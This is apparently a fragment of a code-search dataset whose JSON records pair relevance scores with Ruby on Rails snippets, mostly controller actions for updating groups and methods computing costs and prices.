"text": "def update\n @group = subdomain.groups.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n format.html { redirect_to(@group, :notice => 'Group was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b65e28618ac1b41b7ab0d147095abe11",
"score": "0.5670569",
"text": "def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes_from_api(params[:group])\n format.json { render_for_api :group, :json => @group }\n else\n format.json { render :json => @group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8439be2d1ca580b7994df5a803e5b8be",
"score": "0.56684136",
"text": "def update\n if @group.update(group_params)\n render :show, status: :ok\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "cd85e947490f8db18eed83a80b5a69a2",
"score": "0.5662162",
"text": "def update\n if @group.update(group_params)\n render_json_message({success: t('.success')}, 200)\n else\n render_json_message({errors: @group.errors.messages}, 422)\n end\n end",
"title": ""
},
{
"docid": "57cf9c8146cde4a221d9705ef811bb10",
"score": "0.564127",
"text": "def update_subject_group\n if params.has_key?(:subject_group_id)\n @subject.update_attribute(:subject_group_id, params[:subject_group_id])\n else\n @subject.update_attribute(:subject_group, nil)\n end\n\n render nothing: true\n end",
"title": ""
},
{
"docid": "e707a5d712f4bf2b20e98752cb2d8839",
"score": "0.562819",
"text": "def update\n group = Group.where(slug: params[:id]).last\n\n unless group\n # TODO: Test this\n error_response('Could not find a matching group.')\n return\n end\n\n unless params[:group]['is_enabled'].nil?\n group.update_attributes!(is_enabled: params[:is_enabled])\n end\n\n properties = params[:properties]\n\n unless properties.nil?\n description_markdown = properties['description_markdown']\n description_html = properties['description_html']\n\n group.update_attributes! \\\n name: properties['name'],\n properties: properties,\n description_markdown: description_markdown,\n description_html: description_html\n end\n\n #TODO: we need to implement strong parameters\n group.update_attributes! \\\n number_of_members: params[:number_of_members],\n industry: params[:industry],\n website: params[:website],\n phone_number: params[:phone_number],\n zip_code: params[:zip_code],\n tax_id: params[:tax_id]\n\n respond_to do |format|\n format.json {\n render json: {\n group: render_group(group)\n }\n }\n end\n end",
"title": ""
},
{
"docid": "adaca6f51fc9a0c40c8b2e87f842fd5c",
"score": "0.5627948",
"text": "def update\n @group_type = GroupType.find(params[:id])\n\n if @group_type.update(params[:group_type])\n head :no_content\n else\n render json: @group_type.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "c61fb31990e7b21b0ae7e0e50020dc00",
"score": "0.5621346",
"text": "def update\n @subjects ||= @batch.normal_subjects\n @elective_groups ||= @batch.elective_groups\n @elective_group.update(elective_group_params)\n flash[:notice] = t('elective_group_update')\n end",
"title": ""
},
{
"docid": "6bfbbc9381696879ca91822ce63cfbfe",
"score": "0.562104",
"text": "def set_api_v1_groups_field\n @api_v1_groups_field = Api::V1::GroupsField.find(params[:id])\n end",
"title": ""
},
{
"docid": "33ce972d8d6ab278f84cd39e72a0417b",
"score": "0.56181157",
"text": "def set_question\n @question = GroupQuestion.find(params[:id])\n end",
"title": ""
},
{
"docid": "b7c3de71c78009cc1fc346ac67914ae9",
"score": "0.5614585",
"text": "def update_survey_question(request)\n dashboard_request('POST', '/api/survey-questions', request)\n end",
"title": ""
},
{
"docid": "8c1cf41ae3a0e0832108fa291a6e79c8",
"score": "0.56122863",
"text": "def test_should_update_group_via_API_XML\r\n get \"/logout\"\r\n put \"/groups/1.xml\", :group => { :name=>'renamed unit test group',\r\n :description=>'my new desc',\r\n :featured=>false }\r\n assert_response 401\r\n end",
"title": ""
},
{
"docid": "c55c7ad1acdfc0be8b9e7b42d1310d16",
"score": "0.56113553",
"text": "def create\n @question_group = QuestionGroup.new(params[:question_group])\n\n respond_to do |format|\n if @question_group.save\n format.html { redirect_to @question_group, notice: 'Question group was successfully created.' }\n format.json { render json: @question_group, status: :created, location: @question_group }\n else\n format.html { render action: \"new\" }\n format.json { render json: @question_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c981337df143a67d5fd7b6f932ab5102",
"score": "0.55848575",
"text": "def update\n respond_to do |format|\n if @group.update(group_params)\n Season.flush_open_groups_cache\n\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { render :show, status: :ok, location: @group }\n else\n format.html { render :edit }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9d92da08b1e328eeefd6621f63e6f324",
"score": "0.5584612",
"text": "def update\n @service = Fl::Framework::Service::Actor::Group.new(current_user, params, self)\n @group = @service.update()\n respond_to do |format|\n format.json do\n if @group && @service.success?\n render :json => { :group => hash_one_object(@group, @service.to_hash_params) }\n else\n error_response(generate_error_info(@service, @group))\n end\n end\n end\n end",
"title": ""
},
{
"docid": "e6c5d47ae3dc49c9e6d98976d735cac8",
"score": "0.5581653",
"text": "def update\n respond_to do |format|\n if @group.update(group_params)\n format.json { render :show, id: @group.id }\n else\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "013fc8a1d593ec6735f1ce211a828038",
"score": "0.55748403",
"text": "def update_mod\n if params[:groupName] != nil && params[:subId] != nil && params[:password] != nil\n @group.subId = params[:subId] == \"\" ? nil : params[:subId].to_i\n @group.groupName = params[:groupName]\n @group.password = params[:password] == \"\" ? nil : params[:password]\n\n group_json = @group.to_h.to_json\n\n url = @httpIp+'/pet.com/api/group/updateGroup'\n uri = URI(url)\n res = Net::HTTP.post(uri, group_json, \"Content-Type\" => \"application/json\")\n puts res.body\n flash[:notice] = \"successfully updated\"\n redirect_to groups_path\n end\nend",
"title": ""
},
{
"docid": "d62a5477600cdb306b56d35c8672e3dc",
"score": "0.55709684",
"text": "def create\n @questiongroup = Questiongroup.new(questiongroup_params)\n\n respond_to do |format|\n if @questiongroup.save\n format.html { redirect_to @questiongroup, notice: 'Questiongroup was successfully created.' }\n format.json { render action: 'show', status: :created, location: @questiongroup }\n else\n format.html { render action: 'new' }\n format.json { render json: @questiongroup.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dd7fa2a5e22c9dc41bf9a023390a6421",
"score": "0.5568456",
"text": "def update\n respond_to do |format|\n sgp = specification_group_params\n if sgp.include?(:specification_ids)\n @specification = Specification.find(sgp.delete(:specification_ids))\n @specification_group.specifications << @specification\n end\n if @specification_group.update(sgp)\n format.html { redirect_to([:admin, @specification_group], notice: 'Specification group was successfully updated.') }\n format.js\n format.xml { head :ok }\n website.add_log(user: current_user, action: \"Updated spec group: #{@specification_group.name}\")\n else\n format.html { render action: \"edit\" }\n format.xml { render xml: @specification_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b256de05d1b5323a20ddec56a0cbfc09",
"score": "0.5563217",
"text": "def update\n unless @group.user_id == @current_user.id\n return render json: { message: 'You are not permitted to perform this operation.' }, status: :forbidden\n end\n if @group.update(group_params)\n render json: @group, status: :ok, location: @group\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "09322b31b76fd21ffb8b6b080b77757c",
"score": "0.55630195",
"text": "def update\n respond_to do |format|\n if @api_v1_invitation_segments_group.update(api_v1_invitation_segments_group_params)\n format.html { redirect_to @api_v1_invitation_segments_group, notice: 'Invitation segments group was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_invitation_segments_group }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_invitation_segments_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c6710df0d65b77ec7e432f9484b58a2d",
"score": "0.55628777",
"text": "def update\n @item_group = ItemGroup.find(params[:id])\n\n respond_to do |format|\n if @item_group.update_attributes(params[:item_group])\n format.html { redirect_to @item_group, notice: 'Item group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @item_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fddcdd2f6752cdaf71f6680852e6dade",
"score": "0.5562083",
"text": "def update\n if @group.update(group_params)\n render :show, status: :ok, location: @group\n else\n render json: @group.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "d0e0e7de720f16d1c16aa5093412b2ba",
"score": "0.5558424",
"text": "def set_survey_group\n @survey_group = SurveyGroup.find(params[:id])\n end",
"title": ""
},
{
"docid": "d0e0e7de720f16d1c16aa5093412b2ba",
"score": "0.5558424",
"text": "def set_survey_group\n @survey_group = SurveyGroup.find(params[:id])\n end",
"title": ""
},
{
"docid": "cd8bcbac4100deb51f426b0139b32e3b",
"score": "0.55575216",
"text": "def survey_group_params\n params.require(:survey_group).permit(:survey_id, :group_id)\n end",
"title": ""
},
{
"docid": "f02bb7f65e6f31a338ba69748a93d999",
"score": "0.5552537",
"text": "def update\n @group = @groupable.groups.find(params[:id])\n respond_to do |format|\n if @group.update(group_params)\n format.html { redirect_to [@groupable, :groups], notice: 'Group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "22ce69a46e44613835b6d756e9750b8e",
"score": "0.5551213",
"text": "def update\n respond_to do |format|\n if @questao_subgrupo.update(questao_subgrupo_params)\n format.html { redirect_to @questao_subgrupo, notice: 'Questao subgrupo was successfully updated.' }\n format.json { render :show, status: :ok, location: @questao_subgrupo }\n else\n format.html { render :edit }\n format.json { render json: @questao_subgrupo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4aadc55f1fa7cb93255ce89b3717ae2c",
"score": "0.55468506",
"text": "def update\n respond_to do |format|\n if @small_group.update(small_group_params)\n \n format.html { redirect_to @small_group, notice: '' }\n format.json { render :show, status: :ok, location: @small_group }\n else\n format.html { render :edit }\n format.json { render json: @small_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "46d78f0ddf8ee76e091a24feb4e532b2",
"score": "0.5543085",
"text": "def update\n @practice_group = PracticeGroup.find(params[:id])\n \n respond_to do |format|\n if @practice_group.update_attributes(params[:practice_group])\n format.html { redirect_to @practice_group, notice: 'Practice group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @practice_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab1f81568ff04aa0198579c1f9cf0f41",
"score": "0.5539193",
"text": "def update\n authorize! :modify, @group\n if @group.update(group_params)\n render json: @group.to_json\n else\n render_error_model(@group)\n end\n end",
"title": ""
},
{
"docid": "d9d48907498c6679fe07082bd51c1fa3",
"score": "0.5537593",
"text": "def update_group(name, new_name)\n self.class.put(\"#{@url}/rest/user-management/groups/#{URI.escape(name)}\", basic_auth: @auth, body: generate_group_payload(new_name), headers: {'Content-Type' => 'application/json'})\n end",
"title": ""
},
{
"docid": "ae6697453d1c2683d45c260235c97de8",
"score": "0.5525905",
"text": "def update\r\n respond_to do |format|\r\n if @backend_group.update(backend_group_params)\r\n format.html { redirect_to @backend_group, notice: 'Group was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @backend_group }\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @backend_group.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "cd76f04d17ec9272f3543e7ef9329011",
"score": "0.55231166",
"text": "def update\n @test_group = TestGroup.find(params[:id])\n end",
"title": ""
},
{
"docid": "a732bb9f5c9807bfeab7c175886026a7",
"score": "0.5519104",
"text": "def update\n @inventory_group = user_default_branch.inventory_groups.find(params[:id])\n\n respond_to do |format|\n if @inventory_group.update_attributes(params[:inventory_group])\n flash[:notice] = 'InventoryGroup was successfully updated.'\n format.html { redirect_to(@inventory_group) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventory_group.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4f497d952edd228b1c0fca21995e1eda",
"score": "0.5514305",
"text": "def update\n if @tag_type_group.update(update_params)\n head :no_content\n else\n render json: @tag_type_group.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "63b4b166da21bd9f3a235a7dec9195d2",
"score": "0.5509606",
"text": "def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:new_group])\n format.html { redirect_to @group, notice: 'New group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "63b4b166da21bd9f3a235a7dec9195d2",
"score": "0.5509606",
"text": "def update\n @group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:new_group])\n format.html { redirect_to @group, notice: 'New group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a82a9e2899f2b53d661d0161661c6f95",
"score": "0.5507588",
"text": "def update\n #@group = Group.find(params[:id])\n\n respond_to do |format|\n if @group.update_attributes(params[:group])\n @group.recompute_members_quotas\n format.html { redirect_to @group, notice: 'Group was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9fa86a80368917c19161ab74a0d714f7",
"score": "0.55044276",
"text": "def set_answer_group\n @answer_group = AnswerGroup.find(params[:id])\n end",
"title": ""
},
{
"docid": "038b2a2877dc97cd163b10d55914d369",
"score": "0.5503234",
"text": "def update\n respond_to do |format|\n if @api_v1_user_group.update(api_v1_user_group_params)\n format.html { redirect_to @api_v1_user_group, notice: 'User group was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_user_group }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_user_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8fcd5cdfd9dbaf083daef8995941556",
"score": "0.5502487",
"text": "def update\n respond_to do |format|\n if @action_item_group.update(action_item_group_params)\n format.html { redirect_to tenant_project_url(tenant_id: Tenant.current_tenant_id, id: @action_item_group.project_id), notice: 'Action item group was successfully updated.' }\n format.json { render :show, status: :ok, location: @action_item_group }\n else\n format.html { render :edit }\n format.json { render json: @action_item_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b18c846c45ef6385f44241b3ac76368f",
"score": "0.54985064",
"text": "def update\n @checkbox_group = CheckboxGroup.find(params[:id])\n\n respond_to do |format|\n if @checkbox_group.update_attributes(params[:checkbox_group])\n format.html { redirect_to @checkbox_group, notice: 'Checkbox group was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @checkbox_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9669cd2e7e191192b25b2cf93d8c81c2",
"score": "0.5496297",
"text": "def group_questions\n if params[:dataset_id].present?\n dataset = Dataset.by_id_for_owner(params[:dataset_id], @owner.id, current_user.id)\n\n if dataset.present?\n # if group id was provided, look for questions assigned to the group\n # else get questions that do not have groups assigned yet\n questions = params[:group_id].present? ? dataset.questions.assigned_to_group_meta_only(params[:group_id]) : dataset.questions.not_assigned_group_meta_only\n\n # get existing group\n group = dataset.groups.find(params[:id])\n assigned_questions = []\n if group.present?\n # if the group parent id equals the group id param, then get the existing questions for this group\n # else, the parent group is changing and the existing questions are no longer valid\n if (group.parent_id.nil? && params[:group_id].empty?) || (group.parent_id.to_s == params[:group_id])\n # get questions already assigned to the group\n assigned_questions = dataset.questions.assigned_to_group_meta_only(params[:id])\n end\n end\n\n logger.debug \"############### assigned questions length #{assigned_questions.length}\"\n logger.debug \"############### free questions length #{questions.length}\"\n\n # combine the two sets of questions with the selected questions first\n items = sort_objects_with_sort_order(assigned_questions).map{|x| x.json_for_groups(true)} + sort_objects_with_sort_order(questions).map{|x| x.json_for_groups}\n\n respond_to do |format|\n format.json { render json: items }\n end\n return\n end\n end\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
b7941f92993cad1016c562ccb60af2a0 | calculate cost of a single machine only | [
{
"docid": "b5e07a43e9821c19aa1c1ed090a1a4b9",
"score": "0.7439515",
"text": "def machine_cost(machine_id)\n\t\tmachine_ratio= VmType.find(machine_id).ratio\n\t\tunit_value = ServiceType.find_by_name('machine').unit_value\n\t\tif machine_ratio.present? && unit_value.present?\n\t\t\t{ret: \"OK\", data: machine_ratio * unit_value}\n\t\telse\n\t\t\t{ret: \"Error\"}\n\t\tend\n\tend",
"title": ""
}
] | [
{
"docid": "5ac433639ac25a3d1cf7009da4301bc8",
"score": "0.7181312",
"text": "def total_cost(machine_id, iso_id)\n\t\tmachine_cost = machine_cost(machine_id)\n\t\tiso_ratio = Iso.find(iso_id).ratio\n\t\tif machine_cost[:ret] == \"OK\" && iso_ratio.present?\n\t\t\t{ret: \"OK\", data: machine_cost[:data]*iso_ratio}\n\t\telse\n\t\t\t{ret: \"Error\"}\n\t\tend\n\tend",
"title": ""
},
{
"docid": "fac87c76b253ed9decfd8beb3036eb5b",
"score": "0.7139076",
"text": "def cost \n return @extra_cost + @basic_inst.cost\n end",
"title": ""
},
{
"docid": "8bc6bbe3e9006d456cd75d78d46d2e65",
"score": "0.71213037",
"text": "def total_cost(distance, mpg, cpg)\n\tprice = (distance / mpg) * cpg \nend",
"title": ""
},
{
"docid": "2ce73df60d69e25cfac40e58d147d12e",
"score": "0.7080697",
"text": "def cost\n cost = 0\n @solution.each { |route| cost += route.travel_time_and_cost[0] }\n return cost\n end",
"title": ""
},
{
"docid": "173563f120353446b1182d266356f739",
"score": "0.7041319",
"text": "def calc_total_cost()\n\t\ttotal_cost = @cost.to_i * 0.9\n\tend",
"title": ""
},
{
"docid": "4675d43c7ded8c28b1f06e505791a545",
"score": "0.7008747",
"text": "def cost(meth)\n @costs[meth][\"cost_per_call\"] / 100.0 rescue 0.0\n end",
"title": ""
},
{
"docid": "80d03a9b7af1a818cd4c4fade96c34d8",
"score": "0.6985794",
"text": "def cost\n 0.89\n end",
"title": ""
},
{
"docid": "75e881a71fd6bdf953f59028ccd00651",
"score": "0.6977878",
"text": "def actual_cost\n self.cost/1000.to_f\n end",
"title": ""
},
{
"docid": "2ab497b26b8de4eeebe2450acea74bcf",
"score": "0.69709486",
"text": "def cost\r\n\t\treturn @extra_cost + @real_need.cost\r\n\tend",
"title": ""
},
{
"docid": "665352b58ce3bd7d382c3a36333a49c7",
"score": "0.696203",
"text": "def cost\n # Todo pull this from the DB\n 1000\n end",
"title": ""
},
{
"docid": "142571f97b756974a5c9ae6cead48ded",
"score": "0.69451976",
"text": "def cost\n return @cost\n end",
"title": ""
},
{
"docid": "142571f97b756974a5c9ae6cead48ded",
"score": "0.69451976",
"text": "def cost\n return @cost\n end",
"title": ""
},
{
"docid": "38d64632bc43961ef3442199712bb4a6",
"score": "0.6943629",
"text": "def cost\r\n 0\r\n end",
"title": ""
},
{
"docid": "834d7ee4411b1f65e755685d455d4334",
"score": "0.6940168",
"text": "def cost\n total = 0.0\n not_covered.each do |n|\n total += n.cost\n end\n total\n end",
"title": ""
},
{
"docid": "4028bcf0e47bab7bb345db02d34d52f4",
"score": "0.6914787",
"text": "def cost \n return @extra_cost + @basic_transfer.cost\n end",
"title": ""
},
{
"docid": "341cb88436647d7e2419b1d774e1bac5",
"score": "0.68749875",
"text": "def getcost()\n return @cost\n end",
"title": ""
},
{
"docid": "37b7ebb10fb30595c0fd38c0241e70bc",
"score": "0.6862873",
"text": "def cost\n unless @cost\n @cost = 0\n @nodes_v.each do |v|\n @cost += @nodes_s.map { |s| v.distance_to(s) }.min\n end\n end\n\n @cost\n end",
"title": ""
},
{
"docid": "13b1e608ebd74cc55ca23e3318fbc78d",
"score": "0.6843219",
"text": "def total_cost\n lifter_membership.reduce(0){ |total, pay| \n total + pay.cost}\n end",
"title": ""
},
{
"docid": "d604bcf07756c47a8e65d56c2bab439d",
"score": "0.68397593",
"text": "def cost\n start_value\n end",
"title": ""
},
{
"docid": "b61c43a7233a81d8420b30668c755d69",
"score": "0.68338",
"text": "def cost\n @cost ||= calibrate_cost\n end",
"title": ""
},
{
"docid": "93427b3aa4443ceb0c26405277deaa2b",
"score": "0.6818633",
"text": "def cost\n schedule.reduce(0) do |cost, day|\n cost + COSTS[day.city][day.cost]\n end\n end",
"title": ""
},
{
"docid": "8a52d7019db0dfe2d0096c78741567d9",
"score": "0.6796936",
"text": "def total_cost\n # quantity * unit_cost_price\n unit_cost_price\n end",
"title": ""
},
{
"docid": "869d523662409b5ce57d99c2bab94768",
"score": "0.6779431",
"text": "def total_price\n worker_profile.price_per_hour * hours.to_i + material_cost\n end",
"title": ""
},
{
"docid": "ae4eff343b7a2fa998299c864807804e",
"score": "0.6769396",
"text": "def cost_difference\n cost - estimated_cost\n end",
"title": ""
},
{
"docid": "ca36a13effa38aff8a177a408e820c7c",
"score": "0.6765154",
"text": "def all_costs\n smoked_all_time * cigaret_price\n end",
"title": ""
},
{
"docid": "311f4798a2a4042d0c2a0321a4e0e882",
"score": "0.6750497",
"text": "def total_cost\n @quantity * @price\n end",
"title": ""
},
{
"docid": "6ac6f45350d614b96200ae2097ce70bb",
"score": "0.6749082",
"text": "def cost \n\n \ttotal=@costItems.reduce(0) do |sum,hm|\n \t\tsum+=hm \n end\n puts total\n end",
"title": ""
},
{
"docid": "5ed06c9c4944dea6bac2f70a2a7e4566",
"score": "0.67271775",
"text": "def cost\n\t\treturn @extra_cost + @real_shake.cost\n\tend",
"title": ""
},
{
"docid": "28834300cbb96bcefc656688e6b4e10f",
"score": "0.6716345",
"text": "def cost\n @cost = 0.89\n end",
"title": ""
},
{
"docid": "c8d7d40dd9536d98daf19cbc0d46b4a3",
"score": "0.6699044",
"text": "def product_cost\n product_with_unit_cost + product_without_unit_cost\n end",
"title": ""
},
{
"docid": "bbafc771a4afcee30fcb0ed606fa228b",
"score": "0.668",
"text": "def total_cost\r\n self.qty * self.price\r\n end",
"title": ""
},
{
"docid": "befd6235af2de570f250935bc7022eb1",
"score": "0.6677301",
"text": "def direct_costs_for_one_time_fee\n # TODO: It's a little strange that per_unit_cost divides by\n # quantity, then here we multiply by quantity. It would arguably be\n # better to calculate total cost here in its own method, then\n # implement per_unit_cost to call that method.\n num = self.quantity || 0.0\n num * self.per_unit_cost\n end",
"title": ""
},
{
"docid": "8f3f0c8094f6c71e3332c7289103ba86",
"score": "0.667686",
"text": "def cost\n return @extra_cost + @basic_booking.cost\n end",
"title": ""
},
{
"docid": "5231b7db775dbe9c206831c26579901c",
"score": "0.666929",
"text": "def total_cost\n @cost + tip\n end",
"title": ""
},
{
"docid": "798321d9de32a496b91a7d53e6e6c9cf",
"score": "0.6659291",
"text": "def cost \n return @extra_cost + @basic_booking.cost\n end",
"title": ""
},
{
"docid": "798321d9de32a496b91a7d53e6e6c9cf",
"score": "0.6659291",
"text": "def cost \n return @extra_cost + @basic_booking.cost\n end",
"title": ""
},
{
"docid": "98330b1f2c162e99e54b030894f3d452",
"score": "0.66538733",
"text": "def get_reservation_cost\n total_cost = @number_nights * @cost_per_night\n return total_cost\n end",
"title": ""
},
{
"docid": "fd1f0b1089ca0148c162d945d3959f58",
"score": "0.66460496",
"text": "def cost\n 0.99\n end",
"title": ""
},
{
"docid": "c50120d5149e71e59d657e0e6432902e",
"score": "0.66347796",
"text": "def cost\r\n return @extra_cost + @basic_shifted.cost\r\n end",
"title": ""
},
{
"docid": "eede2540bf928d4c06066e80ffabf261",
"score": "0.66249144",
"text": "def handling_cost(aircraft = nil)\n # mtow = aircraft.mtow\n # mtow = 0.0 if mtow.nil?\n # self.landing_rate_per_tonne * mtow\n\n cost = 0.0\n cost = aircraft.aircraft_type.aircraft_category.handling_cost_grids.where(city_id: self.city_id).first.cost if aircraft.aircraft_type.aircraft_category.handling_cost_grids.where(city_id: self.city_id).present?\n cost\n end",
"title": ""
},
{
"docid": "cb7bedaa3ca707a0320140384a69045a",
"score": "0.65973437",
"text": "def cost\n 1.99\n end",
"title": ""
},
{
"docid": "0417f4a47a0a3a11d6b679b1ba0162c0",
"score": "0.65898347",
"text": "def total_cost\n [executor_cost, team_lead_cost, account_manager_cost].compact.inject(&:+)\n end",
"title": ""
},
{
"docid": "894241b250b2d5ccc48dd3e608f75c1d",
"score": "0.658949",
"text": "def total_cost\n dates = ReservationDates.new(checkin:@checkin, checkout:@checkout)\n subtotal = dates.total_nights * 200 \n total = subtotal * 1.101\n return total.round(2)\n end",
"title": ""
},
{
"docid": "97a3e5b44f4d347e7cc3c88262d3fa0d",
"score": "0.65738046",
"text": "def cost\n self[:cost].to_f\n end",
"title": ""
},
{
"docid": "d76ea1608e8598bcc50b8ab2b5b6b3fa",
"score": "0.6558786",
"text": "def total\n result = 0\n (1..3).each do |n|\n v = eval \"cost_\" + n.to_s\n result += v.to_f\n end\n result\n end",
"title": ""
},
{
"docid": "5a18f79eac63a117e606b7b5eb3f620b",
"score": "0.65547025",
"text": "def total_costs\n fetch(:total_costs) do\n fixed_costs + variable_costs if fixed_costs && variable_costs\n end\n end",
"title": ""
},
{
"docid": "1de9b7e2171d2488e629485d38639414",
"score": "0.6550736",
"text": "def cost_estimate\n @cost_estimate ||= @base_cost + @maze.furthest_key_distance(@at, @subset_mask)\n end",
"title": ""
},
{
"docid": "de7b77a932c511aebdcbf48c89239412",
"score": "0.6547079",
"text": "def total_cost\n quantity * product.price\n end",
"title": ""
},
{
"docid": "de7b77a932c511aebdcbf48c89239412",
"score": "0.6547079",
"text": "def total_cost\n quantity * product.price\n end",
"title": ""
},
{
"docid": "fe99747c2defb9751f7edf0b48bf6811",
"score": "0.6539981",
"text": "def theCost\n # calculate the energy in kWh used in 24 hours at this power level\n # using (24x60x60 secs/day)/(1000x60x60 J/kWh) = 0.024 (kWh/day)/W\n kWh_per_day = 0.024*power\n # convert to an equivalent cost in cents\n return kWh_per_day*ATHOME['energy_cost']\n end",
"title": ""
},
{
"docid": "8f3745e43426f5252458e57bd21f29a6",
"score": "0.6538048",
"text": "def total_cost\n costs = 0\n trips.each { |trip| costs += trip.cost }\n return costs\n end",
"title": ""
},
{
"docid": "af6c0802fa1c4c0224320886e5632a7f",
"score": "0.653736",
"text": "def cost\n @cost ||= 10\n end",
"title": ""
},
{
"docid": "d6d3599f81809fafb1d654d345445631",
"score": "0.6518433",
"text": "def total_costs\n fixed_costs + variable_costs\n end",
"title": ""
},
{
"docid": "71974af7830c21af997977f46e253a70",
"score": "0.64808875",
"text": "def total_cost\n product.cost * quantity\n end",
"title": ""
},
{
"docid": "0bcf72e3ed9d11ae1e0835bdabbe8551",
"score": "0.6470595",
"text": "def total_cost\n \tingredients_cost + components_cost\n end",
"title": ""
},
{
"docid": "08cc88f94764552f11cbb8d4c6ed6da4",
"score": "0.64673626",
"text": "def cost\n deductible * RATE\n end",
"title": ""
},
{
"docid": "7f82d1826cacca299d5804f7e6c32625",
"score": "0.646507",
"text": "def cost\n @cost = 0.99\n end",
"title": ""
},
{
"docid": "a78992b5c8781e27ff102aa97c1e1cd0",
"score": "0.6459087",
"text": "def lifter_total_cost\n total_cost = 0 \n self.memberships.each do |membership_instance|\n total_cost += membership_instance.cost \n end\n total_cost\n end",
"title": ""
},
{
"docid": "cc84df9f63a2862152f02330c58a556f",
"score": "0.6455116",
"text": "def cost \n return @extra_cost + @basic_tran.cost\n end",
"title": ""
},
{
"docid": "681eed033ba4fc096826f79e79709e76",
"score": "0.64373606",
"text": "def standard_cost_code; end",
"title": ""
},
{
"docid": "35b54a8285e17c2afc834f7ac06bb756",
"score": "0.64368105",
"text": "def host_fee\n (total - net_rate).round(2)\n end",
"title": ""
},
{
"docid": "fe8f9f2aaaf7760c2db51aa165fdc897",
"score": "0.64348525",
"text": "def get_cpu_price(workstation_id) # ...\n 120\n end",
"title": ""
},
{
"docid": "e887860c114e39da590804e8142a8dc4",
"score": "0.6430185",
"text": "def total_cost\n ingredients_cost + components_cost\n end",
"title": ""
},
{
"docid": "9a5dddb684cb7d55ffe092add62af239",
"score": "0.6419361",
"text": "def build_cost\n\t\tRails.cache.fetch(\"car.build_cost.#{self.id}\", expires_in: 1.hour) {\n modifications.sum(:price) + price\n }\n\tend",
"title": ""
},
{
"docid": "e9223a939cc73a9ce1709098031f61f8",
"score": "0.64064455",
"text": "def get_cost_without_tax\n total_costs = 0.0\n @products.each_value { |cost| total_costs += cost if is_valid_cost?(cost) }\n return total_costs\n end",
"title": ""
},
{
"docid": "87e8aacf8cbed5ebf382600b2c56e366",
"score": "0.6405878",
"text": "def cost\n @cost = 1.99\n end",
"title": ""
},
{
"docid": "c961592ed15738196cbbdbdeb72e23b8",
"score": "0.6404921",
"text": "def cost()\n unless @cost\n @cost = @description.inject(0) do |val, el|\n val + ((el.nil? || el.to_s.end_with?('?')) ? 1 : 0.1)\n end\n end\n @cost\n end",
"title": ""
},
{
"docid": "39a8c7d18dc1990d8bbfb238a3e61507",
"score": "0.63938177",
"text": "def get_cost_vector\n\t\t\tNMath.sqrt(((@tuneable_data - @goal_vector) ** 2).sum(0))\n\t\tend",
"title": ""
},
{
"docid": "f72f03be4c72b8de88698cf1bced232d",
"score": "0.6390494",
"text": "def total_cost\n self.qty * self.unit_cost\n end",
"title": ""
},
{
"docid": "c64b804023a4e55f02be2825de9fa6eb",
"score": "0.63783514",
